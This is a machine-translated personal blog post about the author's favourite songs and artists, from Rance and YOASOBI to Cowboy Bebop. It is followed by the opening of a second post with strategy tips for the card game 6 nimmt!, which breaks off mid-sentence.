Sengoku Rance\nI haven\u0026rsquo;t talked about songs at all. Rebirth the edge is a masterpiece\nA guitarist named Yamato uploaded a video of them playing this song on Niconico, and I love it. Truly skilled. I don\u0026rsquo;t know guitar well but I can tell. The sound is precise. Appearance is an onion\nDai Akuji was also fun\nListening to Advanced On, you can hear the battle sound effects, and Sengoku World and Sengoku World - v2 have been listened to so much they\u0026rsquo;re basically ambient noise, and listening to Ontology, the emotions from struggling battles come rushing back\nAlso, this is about a Rance 10 song, but isn\u0026rsquo;t Grand Ending Movie really good!??!?!??!!?? The culmination of everything. The best\nAt the same time as being the best, it was the song that made me truly feel that the Rance series had really ended. Being able to see such a beautiful ending, I\u0026rsquo;m satisfied. That said, I\u0026rsquo;ll still keep playing\n\u0026mdash;\u0026ndash; Eroge talk ends here \u0026mdash;\u0026ndash;\nKagerou Project Kagepro was amazing, right. My generation was slightly off, so there was no one around me who was into Kagepro\nThe songs were good, and the songs were amazing, but I was a huge fan of Shidu, and the Shidu of Kagepro was a concentrated mass of growth potential\nThat the person who did the single illustration for Mekakushi Code would create the MV for Yuukei Yesterday two years later was unimaginable. I couldn\u0026rsquo;t have imagined it\nAbsorbing every technique and creating and publishing the best thing they could make at that time. Watching them get more and more elaborate was truly fun\nReturning to song talk, it\u0026rsquo;s good that it\u0026rsquo;s an ensemble cast, or rather, that each character in each song has relationships. Each song has its own story, and gathering them all creates one story called Kagerou Project\nThat said, there are many parts that can\u0026rsquo;t be told through songs alone, so I supplemented quite a bit with the manga. The anime, well, I liked it and watched it to the end, but\u0026hellip;\u0026hellip;\nThe cover versions of each song in the anime were soooooo good. All of them good\nAll good, but among them, the LiSA-sung songs are especially my favorites. Headphone Actor and Yuukei Yesterday and Yoru Baka Dicerive and such. They really suited her\nDEMONDICE Karen, thank you for being born!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! I love you!!!!!!!!!!!!!!!!!!!!!!!\nWhat genre is DEMONDICE? Rap?\nI like both the early comical songs and the recent cool songs\nThe best is definitely Alkatraz. Both the song and the MV are comical. Good no matter how many tens of times I listen\nAlso, Wannabe is really good, and some DEMONDICE songs have this feel of English rap mixed with Japanese, and that goodness is packed tight. Thank you for adding Japanese subtitles\nStrange Fiction is also very good, and this is a collaboration song with Rappubito\nThis is really good. The regular version with rap is of course good, and the instrumental version is also really good. Each has a different kind of goodness. I\u0026rsquo;m only saying \u0026ldquo;good\u0026rdquo;\nFor example, if the lyricless BGM version of the OP song played during a game\u0026rsquo;s final boss battle, it would feel like a final battle and you\u0026rsquo;d get super hyped, right? It\u0026rsquo;s like that\nAmong recent songs, I like wanting, getting, wanting. Really cool\nRecent DEMONDICE is like this. The chorus feels great\nKaren, you must be incredibly busy, but I want you to keep DEMONDICE going even if it\u0026rsquo;s at a small scale. I\u0026rsquo;m always looking forward to new songs\nYOASOBI The world\u0026rsquo;s YOASOBI!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! No explanation needed!!!!!!!!!!!!!!!!!!!!!!\nIt truly needs no explanation. They\u0026rsquo;re famous and everything is a masterpiece\nYOASOBI\u0026rsquo;s albums are unified under the name THE BOOK, but THE BOOK 3 is especially good\nWhat\u0026rsquo;s good about it is that 3 has Interlude before some songs\nCombined with the name THE BOOK, it makes you feel like you\u0026rsquo;re reading the introduction to a story called a song\nInterlude is inserted before fairly strong songs, so it also has the effect of letting you listen naturally without breaking the overall album flow. It\u0026rsquo;s placed right before Shukufuku and Idol. Both are strong\nLet me talk about the English version of YOASOBI. The English version of YOASOBI is truly amazing\nIs it called rhyming? The feel of the word flow from when you listen to the Japanese version is preserved in the English version. This can\u0026rsquo;t be done without putting extraordinary care into the translation. It\u0026rsquo;s too amazing\nThe most prominent example is Into The Night, the English version of Yoru ni Kakeru, and it\u0026rsquo;s truly amazing\nEven though you\u0026rsquo;re listening to the English version, the feel of the Japanese version\u0026rsquo;s lyrics and sound is almost unchanged in places\nFirst, the beginning of the Japanese version\u0026rsquo;s lyrics is \u0026ldquo;shizumu you ni,\u0026rdquo; and the English version is \u0026ldquo;Seize a move, you\u0026rsquo;re on me.\u0026rdquo; They\u0026rsquo;ve matched it completely\nAt the point I\u0026rsquo;ve written this much, I was convinced this topic would get long, so I\u0026rsquo;ll only talk about the beginning of the chorus from here\nThe beginning of the Japanese version\u0026rsquo;s chorus is \u0026ldquo;sawagashii hibi ni,\u0026rdquo; right? This becomes \u0026ldquo;Saw what got seen hid beneath\u0026rdquo;\nAnd that sound is almost the same as the Japanese version. When I first heard it, I momentarily thought they\u0026rsquo;d suddenly started singing in Japanese, that\u0026rsquo;s how similar they are. Truly amazing\nThey\u0026rsquo;ve made them this similar only for Into The Night; other songs are also made similar, but this song is on another level\nThat\u0026rsquo;s how much effort they put into Into The Night, or rather, the song Yoru ni Kakeru. Truly a good song\nAlso, this goes beyond even the English version topic, but Harujion also has a different language version and I love it\nIt\u0026rsquo;s a language called Simlish used in The Sims 4, and there\u0026rsquo;s a version sung in that language in the game. YOASOBI is multi-talented\nThe first time I heard YOASOBI was the Simlish version of Harujion. A bizarre way to encounter them\nPublic Service Broadcasting Public Service Broadcasting is the band name. They\u0026rsquo;re really good, but does everyone know them\u0026hellip;\u0026hellip;?\nSince they have little exposure in Japan, I\u0026rsquo;ll properly explain them\nThey\u0026rsquo;re a band with a unique worldview, playing their own music while using old footage and radio audio as material, but\nI lack the Japanese language skills to explain this band, so I\u0026rsquo;ll quote from another article\nhttps://www.indienative.com/2017/03/public-service-broadcasting/\n古いパブリック・インフォメーション・フィルム、アーカイヴの映像、宣伝用のマテリアルからサンプリングを行なうその特異な音楽スタイルが話題の、ロンドンをベースに活動するミュージック・デュオ、Public Service Broadcasting (パブリック・サーヴィス・ブロードキャスティング)。\nApparently that\u0026rsquo;s what they\u0026rsquo;re like. The Japanese in the source is skillful. They now have more members and aren\u0026rsquo;t a duo anymore\nI really love the album The Race for Space, which is an album themed around space development\nSong titles like Sputnik and Gagarin already make it feel the part, and they sample audio materials from the era when space development was exciting and use them in the songs, which is very cool\nMy favorites are Gagarin and Go!\nGo! probably uses control voice audio from artificial satellites or something. I\u0026rsquo;m not knowledgeable about space development so I\u0026rsquo;m writing very fuzzy Japanese, but it\u0026rsquo;s truly cool. I love it. It electrifies me\nThey maintain their unique worldview and it\u0026rsquo;s truly cool. Old but new. Refined\nThey started activity in 2009, so they\u0026rsquo;re definitely not old, but their concepts and perspectives are refined. Good\nAmong other albums, I really like Night Mail. Cool. Refreshing\nThe Baltic Fleet Remix Radio Edit of this song is truly good. The bass is sufficient\nA documentary film called Night Mail was released in the UK in 1936, and that seems to be the sampling source. I know absolutely nothing about the UK\nHow come\u0026hellip;\u0026hellip;\nKing Gnu No explanation needed!!!!!!!!!!!!!!!!!!!!!!!!!! Our King Gnu!!!!!!!!!!!!!!!!!!!!!!!! A band worthy of the word \u0026ldquo;King\u0026rdquo;\nI just pulled up a King Gnu promo photo to write this section, and Tsuneta-san is truly cool. Is such a perfect existence allowed?\nNot just perfect, but a hard worker too. Amazing, right\nLet me talk about the songs. Every song is a masterpiece\nThe first one I fell for was Hakujitsu. Hakujitsu is good, right\nI have no musical knowledge so I can only say \u0026ldquo;good.\u0026rdquo; There should be someone in Tansu who can verbalize this better. Please do it on my behalf\nAlso, I like Kasa. King Gnu\u0026rsquo;s high-energy songs are good, but I also like songs like this with a slight emptiness, or rather, songs that aren\u0026rsquo;t just about momentum\nNot sad songs, but songs that seem to try to fill a blank space that\u0026rsquo;s definitely there. That kind of feeling\nVinyl is also like that\nFor high-energy ones, Doron and Flash!!! and such\nSPECIALZ is also good. For some reason this song feels like Western music. I don\u0026rsquo;t know why\nBOY is also a favorite. An energizing song. In other words, everything is a masterpiece\nPorno Graffitti THE generation!!!!!!!!!!!!!!! But Porno\u0026rsquo;s generation is pretty broad, isn\u0026rsquo;t it. That just means they produced that many masterpieces\nI listened to Ageha Chou a lot. Actually, I still listen to it\nAt the time, there were quite a few fan works using Ageha Chou as an image song. Let\u0026rsquo;s stop talking about unrelated otaku stuff\nSaudade and Koyoi, Tsuki ga Miezu Tomo are also deeply memorable, and a girl in the same club sang these so coolly\nNo good, THE generation song talk just becomes nostalgia stories\nMelissa is also a huge favorite. Jobairo and Haneuma Rider are also favorites. These are probably standard\nOh! Rival and such too. Century Lovers is also good\nHitori no Yoru is also a top favorite. The GTO OP visuals match it perfectly\nAlso, I like a song called Mahoroba○△, and this is part of the \u0026ldquo;I like songs that feature real place names\u0026rdquo; series\nI can\u0026rsquo;t say which one, but you can roughly figure out the location from the song content and the place name Shibuya. Good\nPeer Gynt, Op. 23 This is a set of music composed by Edvard Grieg for a play called Peer Gynt — what should I call it. Stage accompaniment? It\u0026rsquo;s a collection of songs played when the play is performed on stage\nSeveral pieces are famous, and I think anyone has heard Morning or In the Hall of the Mountain King somewhere at least once\nFirst, let me talk about the play Peer Gynt\nIt\u0026rsquo;s a story about the life of a free man named Peer Gynt, depicting him doing all sorts of outrageous things until his death\nHe abducts another man\u0026rsquo;s wife, becomes filthy rich then loses everything, becomes a prophet, becomes the emperor of a psychiatric hospital\nIf you\u0026rsquo;re okay with old kana orthography, you can read it for free on the internet. I read that version\nSince it\u0026rsquo;s the stage music for such a story, in other words, Peer Gynt, Op. 23 is an image song collection for the life of a man named Peer Gynt\nIt\u0026rsquo;s very good. I want Grieg to make image songs for my life too. \u0026ldquo;Image songs for my life\u0026rdquo; — I wrote it myself, but I just realized what an incredibly appealing phrase that is\nWhen you know Peer\u0026rsquo;s life, the song Solveig\u0026rsquo;s Song becomes incredibly good, so good\nThe final song dedicated to Peer, who did outrageous things throughout his life. The fact that it\u0026rsquo;s a lullaby is good, right\nReading the play in Japanese, the lyrics are incredibly gentle, and Grieg\u0026rsquo;s stage music is in German or Norwegian or something, so I don\u0026rsquo;t understand what they\u0026rsquo;re saying, but the atmosphere is sacred. Solemn\nBut also gentle. I love it\nAlso, I like Anitra\u0026rsquo;s Dance. A nemesis, but I like it\nWhy a nemesis: because long ago I tried to play it on the piano and it was too difficult and I got beaten up by it\nBelleville Rendez-vous A French animated film soundtrack. Incredibly stylish\nThe song atmosphere is stylish, but the MV for the theme song Belleville Rendez-Vous is like a nightmare you have when you catch a cold. But I don\u0026rsquo;t dislike that sensibility\nMy perception of France is extremely fuzzy, so there\u0026rsquo;s a possibility I\u0026rsquo;m just claiming it\u0026rsquo;s stylish because it feels French\nNeither the work itself nor the songs are exactly bright; it\u0026rsquo;s more like a mature resignation\nI fell in love with this work when I saw it playing at a bar, and that kind of place suits it\nIt\u0026rsquo;s not exactly dark either; it\u0026rsquo;s more like making compromises with various things and still having a reasonably good time. That kind of atmosphere\nMYTH \u0026amp; ROID Auditory stimulant 2. Good morning!!!!!!!!!!!!!!!!!\nI often listen to them when I\u0026rsquo;ve reached my limit in a negative direction during work or other tasks. The positive ST☆RISH, the negative MYTH \u0026amp; ROID\nJINGO JUNGLE is cool and I loooove it\nANGER/ANGER and Crazy Scary Holy Fantasy also get me hyped\nAnd above all, shadowgraph is the best. Beautiful\nEver since the PV for Boogiepop wa Warawanai (new) came out, I was always looking forward to hearing the full version. I was moved when I finally heard it in full. Thank you so much for creating this song, MYTH \u0026amp; ROID\nCOWBOY BEBOP Original Soundtrack Practically compulsory education. This is an overstatement\nTank! is an unremovable mainstream among the mainstream, and PIANO BLACK and such are refined and I like them\nTOO GOOD TOO BAD is also mainstream. Uplifting to listen to. CAR 24 is also really good\nI listened to American Money and such a lot, but for some reason I have the impression I listened to it a lot outside of Bebop. Anime songs are sometimes used in variety shows, right\nAlso, Cats on Mars is essential. Ed is cute!!!!!!!!!!!!!!!!!!!!!!!!!!!\nWant it all back is also a masterpiece. The vocals are cool. The playing is the best\nThe EGG and YOU is also good, right. The piano melody really stands out. There\u0026rsquo;s a goodness that comes precisely because it\u0026rsquo;s a simple song\nMUSHROOM HUNTING and such too. What is this, bass? The low frequencies are doing an incredibly good job\nAlso, this isn\u0026rsquo;t strictly a Bebop song, but I truly love SHAKKAZOMBIE\u0026rsquo;s Sora wo Torimodoshita Hi that played in Yoseatsume Blues. Quietly love it\nI truly love Yoseatsume Blues itself, and ideally the environment that made Yoseatsume Blues necessary shouldn\u0026rsquo;t have existed in the first place, but\nit was surely created from feelings of protest, helplessness, and anger, but that too was one Cowboy Bebop. Not the end of Bebop, but part of it\nThat\u0026rsquo;s what I think\n[Alexandros] I fell for them via the Waitress, Waitress! MV\nThinking about it now, it\u0026rsquo;s exactly the kind of MV a band that\u0026rsquo;s starting to get big would make, but it\u0026rsquo;s cool, you know. The song has charisma\nDear Enemies is also a favorite. The guitar and bass are cool\nKiss the Damage is also a favorite\nI realized that if I keep writing, I\u0026rsquo;d end up mentioning every single track on Schwarzenegger. I love this album too much. I love every song\nAlso, She\u0026rsquo;s Very is incredibly cool\nIsn\u0026rsquo;t this cool!?!?!??!? The 2nd track of their first album, and what\u0026rsquo;s with this level of completion. Too perfect\nAnd actually, I don\u0026rsquo;t know [Alexandros] very well from around here on, because I didn\u0026rsquo;t notice for several years that the name changed from [Champagne] to [Alexandros]. My stupidity\u0026hellip;\u0026hellip;!!\nI just realized now — Senkou is [Alexandros]!!!!!!! I love it\nTOKYO No.1 SOUL SET I like them. Very much. I played BEST SET until it wore out\nJIVE MY REVOLVER and Romantic Densetsu and Jr. and STARDUST and such\nThe jacket art for TRIPLE BARREL is truly stylish, and every time I see this jacket, my heart races at how cool it is\nAlso, around the time I started getting into them, TOKYO No.1 SOUL SET + HALCALI released a remix of Konya wa Boogie Back under that name, and\nit was used in a Nissan Cube CM featuring Osomatsu-kun, and it aired on TV to death, so I have memories of listening to it my whole life\nI really like this version. Uptempo and good. Combined with the atmosphere of the Osomatsu-kun art on the jacket, it has a pop feel\nSpeaking of Konya wa Boogie Back, apparently last year a song combined with Suisei was used in a Horoyoi CM. A good melody never fades after all\nI just found out it was used in a CM, but I already knew the song, and I like it. They\u0026rsquo;re beautifully combined. As if they were originally one from the start\nAlso, speaking of TOKYO No.1 SOUL SET, MORE BIG PARTY. This is essential\nThis song is refined and sooooo good. Truly good. The suspicious ultra-refined melody right from the start is the best\nAnd above all, the lyrics are the best. \u0026ldquo;Let\u0026rsquo;s gather in that novel\u0026rdquo; is truly cool. I want to say it at least once before I die\nThere are a few other songs that use the phrase \u0026ldquo;Let\u0026rsquo;s gather in that novel\u0026rdquo;\nGET UP AND DANCE, and recently it was used in Shougeki, the Attack on Titan ending song. Good. You\u0026rsquo;d want to use it. This makes you want to use it\nI couldn\u0026rsquo;t figure out which was the original between MORE BIG PARTY and GET UP AND DANCE even after searching, but it should probably be MORE BIG PARTY\nIf I\u0026rsquo;m wrong, I\u0026rsquo;m really sorry\nI want to talk just a little about Schadarapaa\u0026rsquo;s GET UP AND DANCE, but this is truly good. Especially for children who watched Ponkikkies at the time, it\u0026rsquo;s carved into their soul\nI knew there was a FREEDOM version as the original of the Schadarapaa version, but I just looked it up now, wait—\nThe OP song for Kobayashi-san Chi no Maidragon S pays homage to this? What is this incredibly cheerful homage? I\u0026rsquo;m going to listen to it 100 times later. Too amazing\nEGO-WRAPPIN\u0026rsquo; I like them. Powerful. Good, right\nKuchibashi ni Cherry and Psycho Analcis and Katsute..。 and Shikisai no Blues and Calling Me and Big Noise From Winnetka ~ Kuro Ari no Marching Band and Paranoia and such\nPartly because I was sampling various genres of music around this time, I can\u0026rsquo;t figure out what genre EGO-WRAPPIN\u0026rsquo; belongs to. Is it jazz?\nAnyway, they\u0026rsquo;re cool. It feels like free music\nI was also listening to UA a lot at the same time, so I tend to talk about them as a set, but they\u0026rsquo;re probably a different genre. UA is also in a strange position. Not belonging anywhere\nSangatsu no Phantasia Cuteeeeeeeeeeeeeeeeee!!!!!!!!!!!!!!!!!!! The songs are truly cute. Sweet and sour\nSangatsu ga Zutto Tsuzukeba Ii and Seishun Nante Iranai wa and such, I love songs with youth as the theme\nSongs like Golden Ray are also truly good. Cute\nMy vocabulary has been reduced to nothing but \u0026ldquo;cute\u0026rdquo;\nAlso, Collage. Good. A song for the precious part of my heart that must never be dirtied\nThis includes memories about Emiya-san Chi no Kyou no Gohan\nHumans have emotions and sensibilities they mustn\u0026rsquo;t forget throughout their lives, and those things tend to be forgotten when you\u0026rsquo;re out in society, but\nSangatsu no Phantasia\u0026rsquo;s songs gently tug at your sleeve at times like that and let you know that what\u0026rsquo;s precious is right there. That\u0026rsquo;s the kind of existence they are. Thank you for listening to my poem\nThe Beatles Suddenly an extremely standard pick, and I\u0026rsquo;m surprised myself. I can\u0026rsquo;t have such a super-standard pick this late in the article\nI was listening to the Red Album and the Blue Album. I probably listened to the Red one more\nWith Beatles songs, even if you\u0026rsquo;re hearing one for the first time, there somehow already \u0026ldquo;is\u0026rdquo; a dedicated seat for the Beatles in your heart\nI feel like I just said an incredibly incomprehensible poem, but basically, the Beatles\u0026rsquo; songs themselves are so famous that you\u0026rsquo;ve unconsciously heard them through some medium, and\nthe Beatles are so great that there are probably many derivative bands and songs that followed them, and\nfor those reasons, you get this strange feeling like you\u0026rsquo;ve known them forever. That\u0026rsquo;s what I think\nSo there actually isn\u0026rsquo;t a specific \u0026ldquo;THIS ONE!!!\u0026rdquo; Beatles song for me, and\nI occasionally recall them and listen to an album all the way through, confirming that there\u0026rsquo;s firmly a seat in my heart\nThat kind of strange existence. The Beatles\nInaba Kei I love them!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! Thank you for being born!!!!!!!!!!!!!!!!\nFirst, let me talk about Lagtrain. Lagtrain is really good. My favorite. Including the MV, truly good\nIt\u0026rsquo;s so famous that many MADs were created. I like Lagtrain but its Congruent Angles\nThis applies not just to Lagtrain but to Inaba Kei in general, but there\u0026rsquo;s a pleasant un-brightness. Not aggressively dark, but matter-of-factly not bright. This is truly a compliment\nThere are days when you don\u0026rsquo;t need to force yourself to be cheerful, right? I have them. On days like that, Inaba Kei stays close to you\nA cloudy sky suits them best. There are many songs like that\nOther than Lagtrain, Fret Play and Rainy Boots and Himitsu no Shougakusei and Kazemachigusa and Lost Umbrella and such\nAlso, in the album Anticyclone, I love the moment it transitions from Pascal Beats to Cooler Girl. That\u0026rsquo;s truly beautifully connected\nLike at a live, when one song ends and the guitar stops for just a moment, then immediately launches into the next song without a beat, and the venue goes wild. You can experience that sensation every time\nFuyuu Gekkou Gai is also good. I really like it\nNon-Use is also good\nKuraki Mai THE generation!!!!!!!!!!!!!!! Or rather, it\u0026rsquo;s because I\u0026rsquo;ve been obsessed with Detective Conan the whole time. I\u0026rsquo;m still obsessed\nBack then I was watching with CoRanShinRan as great justice, but now\u0026hellip;\u0026hellip;\nAmong Conan-related songs, Secret of my heart and always and Kaze no Lalala and such, the early ones give the impression of being mostly calm songs, but\nGrowing of my heart and Revive and such intense songs are sooooo good, truly good\nSlightly departing from Kuraki Mai, but among intense Conan OPs, Naifu\u0026rsquo;s Mysterious is truly my favorite. That\u0026rsquo;s incredibly cool\nReturning to Kuraki Mai\nNon-Conan related, I like Feel Fine! and Stand Up and such. Reach for the sky and such are quiet but have a firmly strong core and are very good\nKey to my heart was a theme song for a Tales game\nThis also isn\u0026rsquo;t flashy in tone but has a solid core and is good, and I think that\u0026rsquo;s where Kuraki Mai\u0026rsquo;s charm lies\nIkimono-gakari This is also generational\u0026hellip;\u0026hellip; isn\u0026rsquo;t it!!!!! Wasn\u0026rsquo;t there a period when Ikimono-gakari was super popular? I feel like there was a time when there wasn\u0026rsquo;t a day I didn\u0026rsquo;t hear them\nWhat I like are again the most standard of the standard, Blue Bird and HANABI and Joyful and Hotaru no Hikari and Kimagure Romantic and such\nCome to think of it, despite saying \u0026ldquo;generational,\u0026rdquo; I was actually deeply listening to 4 albums back then\nAlso, Ryuusei Miracle and Aki-gusa and such\nAki-gusa is truly my favorite, and I don\u0026rsquo;t think this can be called a major Ikimono-gakari song, but it\u0026rsquo;s my favorite\nAlso, Oyasumi. This was selected as one of the songs to play at a certain TRPG table, so I have incredibly strong feelings about it, and I keep listening to it on repeat\nNanawo Akari Nanawo Akari!!!!!!! Cute!!!!! Useless angel!!!!!!!!!!!!!!!!\nI fell instantly and completely through One Room Sugar Life\nTechnically, via the OP of Happy Sugar Life\nHappy Sugar Life, of course I like it, but it\u0026rsquo;s a sensitive work where if someone said I\u0026rsquo;d probably like it, I\u0026rsquo;d want to interrogate them with \u0026ldquo;What do you mean by that?\u0026rdquo;\nI mean, I do like it\nI was just having a comment battle with an imaginary hater in my head. I am not mentally unstable\nAmong the first album, Hano is especially my favorite\nThe first album has a lot of upper-type songs, but Hano feels like it\u0026rsquo;s about to slip into downer territory\nLike being in an upper state and looking at the room you\u0026rsquo;ve trashed, for a moment you almost return to your true self, but you somehow cling on so you don\u0026rsquo;t fall. That kind of goodness\nThat state is the most dangerous, you know\nKanzen Houki Sengen and Turing Love and such are also favorites. The way she sings Kanzen Houki Sengen is soooooo cute. Truly cute\nInoue Yousui Can I talk about someone named Mogumogu Fuyo-do and do a little opportunistic self-talk first? Thank you. I\u0026rsquo;ll keep it brief\nThere used to be a person named Mogumogu Fuyo-do who made hand-drawn videos of the Touhou Project, and Communication Breakdance is famous, but\nthis person would sometimes select BGM for their videos from Unicorn and Okuda Masaaki and such, which for me at the time were names I\u0026rsquo;d heard but songs I hadn\u0026rsquo;t really listened to, and\nI realized \u0026ldquo;Songs from around this era might be pretty good!\u0026rdquo; and when I was digging through albums for a while, I encountered Inoue Yousui. Okuda Masaaki and Inoue Yousui, isn\u0026rsquo;t that a bit of a generation gap?\nMust be my imagination\nInoue Yousui is really good, and incredibly distinctive. Fun to listen to\nThe voice has power, and you can clearly imagine the scenery being sung about\nKoori no Sekai and such, I love so much\nJinsei ga Nido Areba is especially truly amazing. You can imagine what kind of scenery they\u0026rsquo;re singing about, and the atmosphere of father and mother, and the air inside the house must feel like this. A masterpiece\nKasa ga Nai is a favorite song, and on days I forgot my umbrella, I would always listen to this song while waiting out the rain. A song that makes waiting out the rain fun\nI like gazing blankly at the rain clouds while listening to the song\nAnother rain-connected song, Yuudachi has a completely different atmosphere and I also love it. This intensity is exactly what a sudden evening shower is\nAnd above all, Yume no Naka e. A standard song\nConclusion Not the artist called \u0026ldquo;Owari ni,\u0026rdquo; but this article ends here.\nTomorrow is 404-san\u0026rsquo;s An App That Creates 2 Shrines With 1 Click to Explosively Boost Your Luck.\n","permalink":"https://unigiri.gitlab.io/en/posts/my-favorite-songs/","summary":"\u003chr\u003e\n\u003cp\u003eThis article was machine-translated from the Japanese version.\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003eThis article is for Day 5 of \u003ca href=\"https://adventar.org/calendars/8983\"\u003eTable Game Tansu Advent Calendar 2023\u003c/a\u003e.\u003cbr\u003e\nDay 4 was Mogukun☆\u0026rsquo;s \u003ca href=\"http://moumoon.jp/PCS/m%e3%83%aa%e3%83%bc%e3%82%b0%ef%bc%88%e9%ba%bb%e9%9b%80%ef%bc%89%e3%81%ab%e3%81%a4%e3%81%84%e3%81%a6%e3%81%ae%e8%80%83%e5%af%9f/\"\u003eReflections on the M.League (Mahjong)\u003c/a\u003e.\u003c/p\u003e\n\u003ch2 id=\"introduction\"\u003eIntroduction\u003c/h2\u003e\n\u003cp\u003eThe advent calendar season has come again this year!\u003cbr\u003e\nI go by Unigiri.\u003c/p\u003e\n\u003cp\u003eOn September 26 of this year, I posted the following image on \u003ca href=\"https://tablegame.mstdn.cloud\"\u003eTansu\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tablegame.mstdn.cloud/@unigiri/111127497256650263\"\u003ehttps://tablegame.mstdn.cloud/@unigiri/111127497256650263\u003c/a\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eこれは寝られないのでなんとなく作った好きな音楽アルバムのコラージュ42枚です\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cblockquote\u003e\n\u003cp\u003e(Translated) I couldn\u0026rsquo;t sleep, so I just put together these 42 collages of my favourite music albums.\u003c/p\u003e","title":"An article about my favourite songs"},{"content":" This article was machine-translated from the Japanese version.\nThis article is for Day 1 of Table Game Tansu Advent Calendar 2022.\nAre you familiar with the card game 6 nimmt!?\nSince this article won\u0026rsquo;t make sense without knowing the rules of 6 nimmt!, I\u0026rsquo;ll proceed on the assumption that you are familiar with them. 1\n1. Introduction 6 nimmt! is a game whose strategy changes dramatically depending on the number of players and whether variant rules are adopted.\nHere, I\u0026rsquo;ll focus on the version I usually play: 6 players with no variant rules (hereafter referred to as \u0026ldquo;this article\u0026rsquo;s rules\u0026rdquo;).\nTherefore, most of the tips explained in this article are only effective under this article\u0026rsquo;s rules. Please be aware of this.\n2. Card and Board Notation in This Article Here, cards are represented as card number (penalty points when that card is taken), and the board is shown in a table as follows.\n#1 #2 #3 #4 #5 #6 1(1) 2(1) 3(1) 4(1) 5(2) 🐮 50(3) 51(1) 52(1) 🐮 70(3) 🐮 99(5) 100(2) 101(1) 104(1) 🐮 The #n in the top row is the column number counted from the left, included for clarity.\nAlso, since penalty points are incurred when a card is placed in the #6 position, 🐮 is placed there to make this evident.\nFurthermore, the rightmost card in each row is called the tail here.\nThe bolded cards in the table above are the tails.\n3. Is 6 nimmt! a Game You Can Always Win? Under this article\u0026rsquo;s rules, 6 nimmt! is not a game you can always win.\nThe outcome depends on the board state, which cards have been removed, your hand, your opponents\u0026rsquo; hands, your opponents\u0026rsquo; strategies, and so on.\nEven so, there are tips like \u0026ldquo;when the board is in this state, playing this card makes it easier to avoid penalty points.\u0026rdquo;\nAfter playing 1197 games 2 on Board Game Arena, I\u0026rsquo;ve identified several tips that seem effective, and I\u0026rsquo;ll explain them in this article.\n4. The Absolute Fundamental Tip Please remember this above all else. This is the absolute fundamental tip.\nWhen you think \u0026ldquo;there\u0026rsquo;s a chance,\u0026rdquo; there usually isn\u0026rsquo;t A \u0026ldquo;chance\u0026rdquo; is no chance.\nLet me give one example of such a \u0026ldquo;chance.\u0026rdquo; It\u0026rsquo;s when you play your highest card, 100, when the following row on the board is the one with the largest tail.\nHand: 4(1), 21(1), 60(3), 73(1), 82(1), 97(1), 100(3)\n#1 #2 #3 #4 #5 #6 44(5) 50(3) 52(1) 55(7) 🐮 If no one plays a card 56 or higher, 100 will go into #5, and with cards 60–97 in your hand, the possibility of taking this row disappears, allowing you to avoid penalty points.\nHowever, if even one other player plays a card between 56 and 99, 100 will go into #6, resulting in a hefty 16-point penalty.\nAnd it\u0026rsquo;s precisely in such situations that yet another player will appear and cause you to take penalty points, so it\u0026rsquo;s better to play it safe with 4 or 21.\nThis applies to card games in general: if you play a card with a high probability of incurring penalty points, you\u0026rsquo;ll lose 4 out of 5 times.\nRather than betting on that 1 win out of 5, consistently play safe cards and raise your overall win rate.\n5. General Tips Before getting into early-game tips, I\u0026rsquo;ll write one general tip that works on any board.\nWhen you should play consecutive cards, play the one with the larger number Consecutive refers to two or more cards among the playable cards whose numbers differ by exactly 1.\nObviously consecutive cases First, let me give an example of cards that are obviously consecutive.\nHand: 33(5), 34(1), 46(1), 51(1)\n33(5) and 34(1) are obviously consecutive. This is because \\(33 + 1 = 34\\).\nIf you play 33 here, you may be at a disadvantage on your next turn if the row with the largest tail ends up in the following state:\n#1 #2 #3 #4 #5 #6 Cards 32 or below Cards 32 or below Cards 32 or below Cards 32 or below 33(5) 🐮 Since you blocked #5 with 33, there\u0026rsquo;s a possibility you\u0026rsquo;ll end up taking this row on your next turn.\nIf 33 is placed as a tail somewhere in #1 through #4, you can safely play 34 on your next turn, which is advantageous — but whether such a board state occurs depends on what the other players play.\nAnd precisely in such situations, 33 often ends up in #5.\nOn the other hand, the worst case when playing 34 under the same conditions is as follows:\n#1 #2 #3 #4 #5 #6 Cards 32 or below Cards 32 or below Cards 32 or below Cards 32 or below 34(1) 🐮 In this case, you can avoid penalty points on your next turn by playing 33.\nTo avoid the case that occurs when playing 33, when cards are consecutive, it\u0026rsquo;s better to play the larger one.\nSubstantially consecutive cases Even if the numbers written on the cards are not consecutive, they may actually be consecutive in practice. Let me give an example.\nHand: 33(5), 36(1), 46(1), 51(1)\n#1 #2 #3 #4 #5 #6 31(1) 34(1) 35(2) 38(1) 🐮 At first glance, 33(5) and 36(1) in your hand don\u0026rsquo;t appear consecutive, but looking at one of the rows on the board, 34 and 35 have already been played.\nAt this point, 33 and 36 are substantially consecutive. This is because 34 and 35 will never be played again in subsequent turns.\nIf you play 33 here, you may be at a disadvantage on your next turn if the other row with the largest tail is in the following state:\n#1 #2 #3 #4 #5 #6 31(1) 34(1) 35(2) 38(1) 🐮 Cards 32 or below Cards 32 or below Cards 32 or below Cards 32 or below 33(5) 🐮 Since 34 and 35 have already been played on the board, in this case the card most likely to take the row with 33(5) as the tail is 36.\nTo avoid cases like the above, in this situation as well, it\u0026rsquo;s better to play 36, which is the larger of the consecutive cards.\nThe above covers the general tips.\nWith this in mind, I\u0026rsquo;ll explain tips divided into the early game, mid game, and late game.\n6. Early Game Tips First of all, you should play the card with the largest number in your hand\u0026hellip; or so you might think, but you shouldn\u0026rsquo;t.\nAs a premise, in 6 nimmt!, holding many cards with large numbers puts you at a disadvantage later on. 3\nThis is because as the game progresses, board states where you must play your smallest number or incur penalty points frequently arise, such as the following:\n#1 #2 #3 #4 #5 #6 9(1) 🐮 41(1) 43(1) 50(3) 54(1) 55(7) 🐮 64(1) 66(5) 67(1) 71(1) 75(2) 🐮 21(1) 25(2) 27(1) 30(3) 31(1) 🐮 On a board like this, 11 will almost certainly be taken by a card under 10, and cards will be placed in #2 as the second smallest, #3 as the third smallest\u0026hellip; and so on, until ultimately the player who played the largest number under 31 will take the cards in the top row.\nWhy this happens will be explained in detail in the mid-game section.\nGiven this premise, you\u0026rsquo;ll want to dispose of your large-number cards 